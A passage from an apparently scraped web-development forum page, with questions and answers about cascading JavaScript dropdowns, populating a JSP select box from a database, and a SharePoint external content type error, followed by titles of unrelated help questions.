              thisDd = document.all[eval(dd.name.replace(/:/g, "_") + '_childcontrol')];
         else
              thisDd = document.getElementById(eval(dd.name.replace(/:/g, "_") + '_childcontrol'));
         thisDd.options.length = 0;
         var childElements = eval(dd.name.replace(/:/g, "_") + '_children');
         for(var c=0 ; c < childElements.length ; c+=2)
              if(childElements[c] == dd.value)
                   for(var o=0 ; o < childElements[c+1].length ; o+=2)
                        thisDd.options[o/2] = new Option(childElements[c+1][o], childElements[c+1][o+1]);
         dropDownChanged(thisDd);
    </script>
    <script>var opp_childcontrol = 'opp';
    var opp_children = ['no',['------------Select first--------------------','no'],'Coffee Businesses',
    ['selction1','selection1'],'Direct Marketing',['selection2','selection2'],'Employment & Personnel',['selection3','selection3'],'Food-Related Businesses',['selection4','selection4','selection5','selection5','selection6','selection6'],'Printing Businesses',['selection7','selection7'],
    'Senior Care',['selection8','selection8']];
    </script>after the first box is selected, the second box populates great, now i am wanted the "selection1 - selection 8" to populate a third box with information determined by the second selection, that is also a selection that can be chosen by the end user....
    all of this information is sent via web form to a crm...
    can you help me to create this third dropdown list with the ability to select an option from there?
    I would greatly appreciate any and all help you can provide!
    ray

    that sounds good to me....but again, i am not the expert at this by any means...I am going off of what has been given to me in the first script.
    can you assist?
    thanks,
    ray

  • Populate the JSP's select box from database on jsp load

    hai all,
    can any one help me in knowing how to populate the select box of a jsp
    with data from the database?
    thanks and regards,
    ravikiran

    <%
    String sQuery = "select id,Name from tablename";
    rs = stmt.executeQuery(sQuery);
    %>
    <select name="sltName">
    <%
    while(rs.next()){
    String sId = rs.getString(1);
    String sName = rs.getString(2);
    %>
    <option value="<%=sId %>" > <%=sName %> </option>
    <%
    %>
    </select>

  • The query against the database caused an error in https: site

    Hi
    I have created a new Data source and External content type in sharePoint 2013
    I have also given all the permission to this Content type (including "Users(Windows)")
    I also having edit permission in the Sql-database.
    I have tied almost all the possibilities given in the net for this error.
    still the error("the query against the database caused an error") is there.
    Is this because of "https:/ " in the url?
    Can any one give a suggestion / solution for this?
    Thanks
    S H A J A N

    Hi,
    Can you please check ULS Log as well as event viewer, to see if there's any related error reported?
    Thanks,
    Sohel Rana
    http://ranaictiu-technicalblog.blogspot.com

Maybe you are looking for

  • Setting UP a Mirror Hard Drive

    OK so I have a Leopard Server that has 3 hard drives, so I thought that I would set it up so that it mirror's in case of hard drive failure... But apparently I am not smart enough to do this on my own so I'm calling out for help... Could someone plea

  • I updeted my i phone but itunes broken my i phoen

    i updeted my i phone but itunes broken my i phoen

  • SQL*Loader Index Maintenance

    Hi all, we are loading data from SQL*Loader 9.2.0.3 into Database 11.2.0.3 with direct path load. During Load some Indexes are in state unusable. Acctually I thought that SQL*Loader would also maintain indexes when loading with direct path. But state

  • Documentation for using Adobe Document Services

    Hi, Is there any documentation available on how to use Adobe Document Services? I have installed Adobe Document Services for Netweaver 2004. But I am not able to use the services as I do not know how to access them (is it like Adobe Document Services

  • Create new boot disk with existing settings.

    Hello. I am soon going to be installing a SSD to supplement my HDD on my Macbook Pro, I would like to install Mountain Lion on the SSD, I am familiar with how to do this but I was wondering if anyone knew of a way to retain all existing settings and